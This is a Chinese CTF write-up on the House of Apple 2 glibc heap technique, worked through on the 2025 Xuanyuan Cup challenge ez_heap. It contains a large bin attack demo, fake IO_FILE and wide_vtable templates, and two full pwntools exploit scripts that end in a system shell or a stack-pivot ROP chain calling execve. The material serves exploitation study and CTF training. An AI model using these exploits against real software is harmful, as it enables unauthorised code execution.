前排提要:本篇笔记并非追求原理以及理解,适合打算速成学习的基础薄弱的师傅们直接学习。
借用AttackingLin师傅的省流总结如下,本文以2025年轩辕杯的ez_heap来对其进行粗略的分析。

对fp的设置如下:
#_flags设置为~(2 | 0x8 | 0x800),如果不需要控制rdi,设置为0即可;如果需要获得shell,可设置为 sh;,注意前面有两个空格
#vtable设置为_IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap地址(加减偏移),使其能成功调用_IO_wfile_overflow即可
#_wide_data设置为可控堆地址A,即满足*(fp + 0xa0) = A
#_wide_data->_IO_write_base设置为0,即满足*(A + 0x18) = 0
#_wide_data->_IO_buf_base设置为0,即满足*(A + 0x30) = 0
#_wide_data->_wide_vtable设置为可控堆地址B,即满足*(A + 0xe0) = B
#_wide_data->_wide_vtable->doallocate设置为地址C用于劫持RIP,即满足*(B + 0x68) = C

程序从main返回或者执行exit后会遍历_IO_list_all存放的每一个IO_FILE结构体,如果满足条件的话,会调用每个结构体中vtable->overflow函数指针指向的函数。
那么我们的利用思路如下
劫持IO_FILE的vtable为IO_wfile_jumps
控制wide_data为可控的堆地址空间
控制wide_data->_wide_vtable为可控的堆地址空间
控制程序执行IO流函数调用,最终调用到IO_Wxxxxx函数即可控制程序的执行流

例题 轩辕杯2025-ez_heap

程序分析

main


很正常的一个增删查改

add_chunk


仅能允许申请>0x410字节的largebin_chunk

delete_chunk


有且仅有两次删除机会,但是留下了UAF漏洞,指针未置零

edit_chunk


写入自身大小内容

shouw_chunk


打印堆块内容,用来泄露libc的同时泄露heap

做题前置学习资料

large bin attack

浅析Large_bins_attack在高低版本的利用-先知社区

#include<stdio.h>
#include<stdlib.h>
#include<assert.h>
int main(){
/* 禁用IO缓冲,防止流操作干扰堆管理 */
setvbuf(stdin,NULL,_IONBF,0);
setvbuf(stdout,NULL,_IONBF,0);
setvbuf(stderr,NULL,_IONBF,0);

printf("\n\n");
printf("从glibc2.30开始,大块(large bin)插入时新增了两个检查\n\n");
printf("检查1 : \n");
printf("> if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (nextsize)\");\n");
printf("检查2 : \n");
printf("> if (bck->fd != fwd)\n");
printf("> malloc_printerr (\"malloc(): largebin double linked list corrupted (bk)\");\n\n");
printf("这阻止了传统的large bin攻击\n");
printf("但仍存在一条可能的路径触发large bin攻击,漏洞验证如下 : \n\n");

printf("====================================================================\n\n");

size_t target = 0;
printf("这是我们要覆盖的目标变量地址(%p) : 当前值 = %lu\n\n",&target,target);
size_t *p1 = malloc(0x428);
printf("第一步,分配第一个大块 [p1] (%p)\n",p1-2);
size_t *g1 = malloc(0x18);
printf("并分配防护块防止堆合并\n");

printf("\n");

size_t *p2 = malloc(0x418);
printf("接着分配第二个较小的大块 [p2] (%p).\n",p2-2);
printf("该块应小于[p1]且属于同一个large bin\n");
size_t *g2 = malloc(0x18);
printf("再次分配防护块防止合并\n");

printf("\n");

free(p1);
printf("释放较大的块 [p1] (%p)\n",p1-2);
size_t *g3 = malloc(0x438);
printf("分配比[p1]更大的块将其插入large bin\n");

printf("\n");

free(p2);
printf("释放较小的块 [p2] (%p)\n",p2-2);
printf("此时large bin中有 [p1] (%p)\n",p1-2);
printf(" unsorted bin中有 [p2] (%p)\n",p2-2);

printf("\n");

p1[3] = (size_t)((&target)-4);
printf("修改p1->bk_nextsize指向 [target-0x20] (%p)\n",(&target)-4);

printf("\n");

size_t *g4 = malloc(0x438);
printf("最后分配比[p2] (%p)更大的块,将[p2]插入large bin\n", p2-2);
printf("由于glibc在插入比最小块更小的块时不检查chunk->bk_nextsize\n");
printf("被篡改的p1->bk_nextsize不会触发错误\n");
printf("当[p2] (%p)插入large bin时,[p1](%p)->bk_nextsize->fd_nextsize会被覆盖为[p2]地址 (%p)\n", p2-2, p1-2, p2-2);

printf("\n");

printf("此时target的值被覆盖为[p2]地址 (%p),查看target (%p)\n", p2-2, (void *)target);
printf("目标变量地址 (%p) : 当前值 = %p\n",&target,(size_t*)target);

printf("\n");
printf("====================================================================\n\n");

assert((size_t)(p2-2) == target);

return 0;
}

gcc自行编译即可
①下断点在free之前,查看创建好的chunk

b *$rebase(0x000000000001412)
这几个chunk分别对应着: tcache_perthread_struct size_t *p1 = malloc(0x428) size_t *g1 = malloc(0x18) size_t *p2 = malloc(0x418) size_t *g2 = malloc(0x18) Top_chunk ②释放0x428大小的chunk free(p1); ![](/image/House_of_apple_2/image-20250522233109684.png) ![](/image/House_of_apple_2/image-20250522233119436.png)
b *$rebase(0x0000000000001428)
不难发现 大的chunk进入了unshortedbins,他这时候就记录着libc地址了 ③分配大的chunk进入 size_t *g3 = malloc(0x438); ![](/image/House_of_apple_2/image-20250522233331161.png)
b *$rebase(0x0000000000001451)
此时上面那个大的chunk就会进入largebins ④释放较小的chunk free(p2); ![](/image/House_of_apple_2/image-20250522233606301.png) ![](/image/House_of_apple_2/image-20250522233850931.png)
b *$rebase(0x000000000000147A)
此时bins里有一个大的chunk(largebins)和小的chunk(unshortedbins) 此时p2(小的chunk)进入了unshortedbins ⑤修改p1->bk_nextsize指向 [target-0x20] ![](/image/House_of_apple_2/image-20250522234030066.png) ![](/image/House_of_apple_2/image-20250522234042991.png)
b *$rebase(0x0000000000001513)
⑥申请更大的chunk,使小的chunk也进入largebins p1->bk_nextsize->fd_nextsize会被覆盖为[p2]地址 ![](/image/House_of_apple_2/image-20250522234437810.png) ![](/image/House_of_apple_2/image-20250522234457499.png) ![](/image/House_of_apple_2/image-20250522234516273.png)
b *$rebase(0x0000000000001527)
此时**目标地址的内容**已经被修改为了**小的chunk的地址**了,largbin_attack结束。

GDB手动载入符号表

有的时候我们会发现gdb找不到符号表或者丢失各种信息的情况,例如会显示

这时候就可以手动载入符号表,具体操作如下:
①找到本libc的版本号 使用file ./filename获取

BuildID[sha1]=490fef8403240c91833978d494d39e537409b92e
②此时我们去符号表文件夹

③找到49开头的文件夹

④在gdb里导入debug文件

libc_addr=0x7ffff7c00000
使用命令:add-symbol-file file_addr libc_aadr

⑤此时就可以正确显示符号表了

Fake_IO_File

pwndbg> p *_IO_list_all
$4 = {
file = { // 整个file结构体起始偏移为0x0
_flags = 6845216, // offset 0x04字节)
_IO_read_ptr = 0x441, // offset 0x8(指针,8字节)
_IO_read_end = 0x0, // offset 0x10
_IO_read_base = 0x0, // offset 0x18
_IO_write_base = 0x0, // offset 0x20
_IO_write_ptr = 0x1, // offset 0x28
_IO_write_end = 0x0, // offset 0x30
_IO_buf_base = 0x0, // offset 0x38
_IO_buf_end = 0x0, // offset 0x40
_IO_save_base = 0x0, // offset 0x48
_IO_backup_base = 0x0, // offset 0x50
_IO_save_end = 0x0, // offset 0x58
_markers = 0x0, // offset 0x60
_chain = 0x0, // offset 0x688字节指针)
_fileno = 2, // offset 0x704字节int
_flags2 = 0, // offset 0x744字节)
_old_offset = -1, // offset 0x788字节__off_t)
_cur_column = 0, // offset 0x802字节unsigned short)
_vtable_offset = 0 '\000', // offset 0x821字节signed char)
_shortbuf = "", // offset 0x831字节char数组)
_lock = 0x0, // offset 0x888字节指针)
_offset = -1, // offset 0x908字节_IO_off64_t)
_codecvt = 0x0, // offset 0x98
_wide_data = (Fake_Fake_IO_wide_data), // offset 0xa0
_freeres_list = 0x0, // offset 0xa8
_freeres_buf = 0x0, // offset 0xb0
__pad5 = 0, // offset 0xb88字节)
_mode = 0, // offset 0xc04字节)
_unused2 = '\000' <repeats 19 times> // offset 0xc419字节填充)
}, // file结构体总大小:0xd8字节
vtable = 0x7ffff7e170c0 // offset 0xd8 <_IO_wfile_jumps>
#_IO_wfile_jumps_mmap和_IO_wfile_jumps_maybe_mmap都可以用
}
#fake_file模板:
fake_file=p64(0) # _IO_read_end
fake_file+=p64(0) # _IO_read_base
fake_file+=p64(0) # _IO_write_base
fake_file+=p64(1) # _IO_write_ptr
fake_file+=p64(0) # _IO_write_end
fake_file+=p64(0) # _IO_buf_base;
fake_file+=p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file+=p64(0)*4 # from _IO_save_base to _markers
fake_file+=p64(0) #the FILE chain ptr
fake_file+=p32(2) # _fileno for stderr is 2
fake_file+=p32(0) # _flags2, usually 0
fake_file+=p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file+=p64(0) # padding
fake_file+=p64(0) # _lock(指向自定义锁结构或置空)
fake_file+=p64(0xffffffffffffffff) # _offset, -1
fake_file+=p64(0) # _codecvt, usually 0
[!]fake_file+=p64(Fake_Fake_IO_wide_data) # _IO_wide_data_ 指定堆块数据部分起始地址
fake_file+=p64(0)
fake_file+=p64(0)*2
fake_file+=p64(0)*2
fake_file+=p64(0)
fake_file+=p64(libc_base+libc.sym['_IO_wfile_jumps']) # fake vtable

Fake_Fake_IO_wide_data

pwndbg> p *(struct _IO_wide_data*) 0x55555555c3c0
$3 = {
_IO_read_ptr = 0x0, // offset: 0x0
_IO_read_end = 0x0, // offset: 0x8
_IO_read_base = 0x0, // offset: 0x10
_IO_write_base = 0x0, // offset: 0x18
_IO_write_ptr = 0x0, // offset: 0x20
_IO_write_end = 0x0, // offset: 0x28
_IO_buf_base = 0x0, // offset: 0x30
_IO_buf_end = 0x0, // offset: 0x38
_IO_save_base = 0x0, // offset: 0x40
_IO_backup_base = 0x0, // offset: 0x48
_IO_save_end = 0x0, // offset: 0x50
_IO_state = { // offset: 0x58
__count = 0, // offset: 0x58 (int, 4 bytes)
__value = { // offset: 0x5c (union, 4 bytes)
__wch = 0, // offset: 0x5c
__wchb = "\000\000\000" // offset: 0x5c
}
},
_IO_last_state = { // offset: 0x60 (same as _IO_state)
__count = 0, // offset: 0x60
__value = { // offset: 0x64
__wch = 0,
__wchb = "\000\000\000"
}
},
_codecvt = { // offset: 0x68
__cd_in = { // offset: 0x68
step = 0x0, // offset: 0x68 (function pointer, 8 bytes)
step_data = { // offset: 0x70
__outbuf = 0x0, // offset: 0x70 (8 bytes)
__outbufend = 0x0, // offset: 0x78 (8 bytes)
__flags = 0, // offset: 0x80 (int, 4 bytes)
__invocation_counter = 0, // offset: 0x84 (int, 4 bytes)
__internal_use = 0, // offset: 0x88 (int, 4 bytes)
__statep = 0x0, // offset: 0x90 (8 bytes)
__state = { // offset: 0x98 (same as _IO_state)
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
},
__cd_out = { // offset: 0xa0 (same as __cd_in)
step = 0x0, // offset: 0xa0
step_data = { // offset: 0xa8
__outbuf = 0x0, // offset: 0xa8
__outbufend = 0x0, // offset: 0xb0
__flags = 0, // offset: 0xb8
__invocation_counter = 0, // offset: 0xbc
__internal_use = 0, // offset: 0xc0
__statep = 0x0, // offset: 0xc8
__state = { // offset: 0xd0
__count = 0,
__value = {
__wch = 0,
__wchb = "\000\000\000"
}
}
}
}
},
_shortbuf = L"", // offset: 0xd8 (wchar_t[1], 2 bytes)
_wide_vtable = (Fake_wide_vtable) // offset: 0xe0 (8 bytes)
}
#Fake_Fake_IO_wide_data模板:
payload=b'\x00'*(0xe0)+p64(Fake__wide_vtable)

Fake_wide_vtable

要求Fake_wide_vtable紧跟在Fake_IO_File的前面且为0x??8字节大小以方便篡改flag位

pwndbg> p *(struct _IO_jump_t*) 0x55555555b6f0
$7 = {
__dummy = 0, // 0x55555555b6f0 (offset +0x0)
__dummy2 = 0, // 0x55555555b6f8 (offset +0x8)
__finish = 0x0, // 0x55555555b700 (offset +0x10)
__overflow = 0x0, // 0x55555555b708 (offset +0x18)
__underflow = 0x0, // 0x55555555b710 (offset +0x20)
__uflow = 0x0, // 0x55555555b718 (offset +0x28)
__pbackfail = 0x0, // 0x55555555b720 (offset +0x30)
__xsputn = 0x0, // 0x55555555b728 (offset +0x38)
__xsgetn = 0x0, // 0x55555555b730 (offset +0x40)
__seekoff = 0x0, // 0x55555555b738 (offset +0x48)
__seekpos = 0x0, // 0x55555555b740 (offset +0x50)
__setbuf = 0x0, // 0x55555555b748 (offset +0x58)
__sync = 0x0, // 0x55555555b750 (offset +0x60)
__doallocate = (call_target_addr), // 0x55555555b758 (offset +0x68)
__read = 0x0, // 0x55555555b760 (offset +0x70)
__write = 0x0, // 0x55555555b768 (offset +0x78)
__seek = 0x0, // 0x55555555b770 (offset +0x80)
__close = 0x0, // 0x55555555b778 (offset +0x88)
__stat = 0x0, // 0x55555555b780 (offset +0x90)
__showmanyc = 0x0, // 0x55555555b788 (offset +0x98)
__imbue = 0x0 // 0x55555555b790 (offset +0xa0)
}
#Fake_wide_vtable模板:
payload =p64(0)*11+p64(call_target_addr)+p64(0)*7
payload+=b'\x00'*(Fake_wide_vtable.size-0x70)+b' sh'# Fake_IO_File的flag位作为参数传入

最后执行出来的system(‘sh’)链【节选】
► 0x7ffff7c8e95b mov r15, qword ptr [rip + 0x18cd1e] R15, [_IO_list_all] => 0x55555555bb10 ◂— 0x687320 /* ‘ sh’ /
► 0x7ffff7c8e9bc mov rdi, r15 RDI => 0x55555555bb10 ◂— 0x687320 /
‘ sh’ */
► 0x7ffff7c83b9b <_IO_wdoallocbuf+43> call qword ptr [rax + 0x68] < system >

利用思路(一)直接getshell

先构造heap来尝试泄露libc和heap_addr

①创建chunk

add(0,1280)
add(1,1280)
add(2,1288)
add(3,1264)
add(4,1280)

②删除chunk1,进入unshortedbins

③申请更大的chunk,让它进入largebins(此时可以泄露libc_addr了)

④show一下chunk1,泄露libc【为了调试方便,我关闭了ASLR】

⑤修改bk_size为_IO_list_all-0x20

⑥此时删除chunk3,进入unshortedbins

⑦申请更大的chunk,把chunk3进入largebins,完成large_bins_attack


此时我们观察下_IO_list_all的结构体

已经被劫持过去,改空了,此时我们修改chunk3即可劫持这个_IO_list_all的表,同时泄露heap_addr

⑧然后根据上面的前置学习资料填入内容修改

⑨此时观察下内容分别是什么

_IO_list_all

_wide_data(其他全是0,仅展示下面了)

_wide_vtable

调用链如下:
①exit

②libc_addr+0x45390
③libc_addr+0x8eb50

④libc_addr+0x8e8e0

⑤_IO_wfile_overflow


⑥_IO_wdoallocbuf

⑦在这里面就可以调用system了

⑧然后就getshell了

from pwn import*
context.arch='amd64'
#context.log_level='debug'
p=process('./pwn_patched')
libc=ELF('./libc.so.6')

def debug():
gdb.attach(p)
pause()

def add(index,size):
p.sendline(str('1'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.sendline(str(size))

def delete(index):
p.sendline(str('2'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)

def edit(index,data):
p.sendline(str('3'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.send(data)

def show(index):
p.sendline(str('4'))
sleep(0.1)
p.sendline(str(index))

add(0,1280)
add(1,1280)
add(2,1288)
add(3,1264)
add(4,1280)
delete(1)
#debug()
add(5,1296)
#debug()
p.recv()
show(1)
p.recvuntil('index:\n')
libc_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x21b110
log.success(hex(libc_addr))
fd=bk=libc_addr+0x21b110
_IO_list_all=libc_addr+libc.sym['_IO_list_all']-0x20
_IO_wfile_jumps=libc_addr+libc.sym['_IO_wfile_jumps']
system=libc_addr+libc.sym['system']
payload=p64(fd)+p64(bk)+p64(0)+p64(_IO_list_all)
edit(1,payload)
delete(3)
add(5,1296)
p.recv()
p.recv()
show(1)
p.recvuntil('index:\n')
heap_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x11c0
log.success(hex(heap_addr))


fake_file=p64(0) # _IO_read_end
fake_file+=p64(0) # _IO_read_base
fake_file+=p64(0) # _IO_write_base
fake_file+=p64(1) # _IO_write_ptr
fake_file+=p64(0) # _IO_write_end
fake_file+=p64(0) # _IO_buf_base;
fake_file+=p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file+=p64(0)*4 # from _IO_save_base to _markers
fake_file+=p64(0) #the FILE chain ptr
fake_file+=p32(2) # _fileno for stderr is 2
fake_file+=p32(0) # _flags2, usually 0
fake_file+=p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file+=p64(0) # padding
fake_file+=p64(0) # _lock(指向自定义锁结构或置空)
fake_file+=p64(0xffffffffffffffff) # _offset, -1
fake_file+=p64(0) # _codecvt, usually 0
fake_file+=p64(heap_addr+0x2a0) # _IO_wide_data_ 指定堆块数据部分起始地址
fake_file+=p64(0)
fake_file+=p64(0)*2
fake_file+=p64(0)*2
fake_file+=p64(0)
fake_file+=p64(libc_addr+libc.sym['_IO_wfile_jumps']) # fake vtable

edit(3,fake_file)
Fake_Fake_IO_wide_data=b'\x00'*(0xe0)+p64(heap_addr+0xcb0)
edit(0,Fake_Fake_IO_wide_data)

Fake_wide_vtable =p64(0)*11+p64(system)+p64(0)*7
Fake_wide_vtable=Fake_wide_vtable.ljust(1280,b'\x00')
Fake_wide_vtable+=b' sh'

edit(2,Fake_wide_vtable)

#debug()

p.sendline(str('5'))

#debug()
p.interactive()

利用思路(二)栈迁移后getshll(目的不是getshell而是栈迁移)【svcudp_reply+26】

参考文章:高效IO攻击利用学习之House of apple2超详解-先知社区


这个是magic在gdb里的调试


此时rdi指向fake_io_list的,也就是以他为基地址来调用 那么我们就可以考虑构造一个栈迁移,其余的和前面不变,把system函数换成magic的地址,如下

这个fake_io_list要修改掉高亮的这一行为可控堆地址(构造栈迁移后执行rop),用来接下来的定位(rbp)

然后构造可控堆块内容即可劫持执行orw,后给出exp师傅们自行理解即可。
[!]标注出来的是和上面的exp不同的地方

from pwn import*
context.arch='amd64'
#context.log_level='debug'
p=process('./pwn_patched')
libc=ELF('./libc.so.6')

def debug():
gdb.attach(p)
pause()

def add(index,size):
p.sendline(str('1'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.sendline(str(size))

def delete(index):
p.sendline(str('2'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)

def edit(index,data):
p.sendline(str('3'))
sleep(0.1)
p.sendline(str(index))
sleep(0.1)
p.send(data)

def show(index):
p.sendline(str('4'))
sleep(0.1)
p.sendline(str(index))
#debug()
add(0,1280)
add(1,1280)
add(2,1288)
add(3,1264)
add(4,1280)
delete(1)
#debug()
add(5,1296)
#debug()
p.recv()
show(1)
p.recvuntil('index:\n')
libc_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x21b110
log.success(hex(libc_addr))
fd=bk=libc_addr+0x21b110
_IO_list_all=libc_addr+libc.sym['_IO_list_all']-0x20
_IO_wfile_jumps=libc_addr+libc.sym['_IO_wfile_jumps']
magic=libc_addr+0x16a050+26
payload=p64(fd)+p64(bk)+p64(0)+p64(_IO_list_all)
edit(1,payload)
delete(3)
add(5,1296)
p.recv()
p.recv()
show(1)
p.recvuntil('index:\n')
heap_addr=u64(p.recvn(6).ljust(8,b'\x00'))-0x11c0
log.success(hex(heap_addr))
add(10,2560) # [!][!][!][!][!][!][!][!][!][!][!][!][!]
#debug()
fake_file=p64(0) # _IO_read_end
fake_file+=p64(0) # _IO_read_base
fake_file+=p64(0) # _IO_write_base
fake_file+=p64(1) # _IO_write_ptr
fake_file+=p64(0) # _IO_write_end
fake_file+=p64(0) # _IO_buf_base;
fake_file+=p64(0) # _IO_buf_end should usually be (_IO_buf_base + 1)
fake_file+=p64(heap_addr+0x2620) # [!][!][!][!][!][!][!][!][!][!][!][!][!]
fake_file+=p64(0) # from _IO_save_base to _markers
fake_file+=p64(0) # from _IO_save_base to _markers
fake_file+=p64(0) # from _IO_save_base to _markers
fake_file+=p64(0) #the FILE chain ptr
fake_file+=p32(2) # _fileno for stderr is 2
fake_file+=p32(0) # _flags2, usually 0
fake_file+=p64(0xFFFFFFFFFFFFFFFF) # _old_offset, -1
fake_file+=p64(0) # padding
fake_file+=p64(0) # _lock(指向自定义锁结构或置空)
fake_file+=p64(0xffffffffffffffff) # _offset, -1
fake_file+=p64(0) # _codecvt, usually 0
fake_file+=p64(heap_addr+0x2a0) # _IO_wide_data_ 指定堆块数据部分起始地址
fake_file+=p64(0)
fake_file+=p64(0)*2
fake_file+=p64(0)*2
fake_file+=p64(0)
fake_file+=p64(libc_addr+libc.sym['_IO_wfile_jumps']) # fake vtable

edit(3,fake_file)
Fake_Fake_IO_wide_data=b'\x00'*(0xe0)+p64(heap_addr+0xcb0)
edit(0,Fake_Fake_IO_wide_data)

Fake_wide_vtable =p64(0)*11+p64(magic)+p64(0)*7 # [!][!][!][!][!][!][!][!][!][!][!][!][!]
Fake_wide_vtable=Fake_wide_vtable.ljust(1280,b'\x00')
Fake_wide_vtable+=p64(0)

leave_ret=libc_addr+0x000000000004da83
pop_rax_ret=libc_addr+0x0000000000045eb0
pop_rdi_ret=libc_addr+0x000000000002a3e5
syscall=libc_addr+0x0000000000029db4
pop_rbp_ret=libc_addr+0x000000000002a2e0
pop_rsi_ret=libc_addr+0x000000000002be51
pop_rdx_pop_ret=libc_addr+0x00000000000904a9

edit(2,Fake_wide_vtable)

# [!][!][!][!][!][!][!][!][!][!][!][!][!]
#执行两次leave_ret实现栈迁移,然后执行systemcall(以execve举例,实际若execve被ban了还可以弄成ORW)
payload=p64(heap_addr+0x2620+0x100)+p64(leave_ret)+p64(heap_addr+0x2620+0x200)+p64(heap_addr+0x2620)+p64(0)+p64(leave_ret)
payload=payload.ljust(0x100,b'\x00')
payload+=p64(heap_addr+0x2620+0x200) #new_rbp
payload+=p64(pop_rdi_ret)+p64(heap_addr+0x2620+0x158)+p64(pop_rax_ret)+p64(0x3b)+p64(pop_rdx_pop_ret)+p64(0)*2+p64(pop_rsi_ret)+p64(0)+p64(syscall)
payload+=b'/bin/sh\x00'
edit(10,payload)
# [!][!][!][!][!][!][!][!][!][!][!][!][!]

#debug()

p.sendline(str('5'))

#debug()
p.interactive()


执行magic的时候以及各个寄存器的值(此时准备进入leave-ret)

进行栈迁移后成功劫持程序执行流

执行execve(“/bin/sh”,0,0)
至此 getshell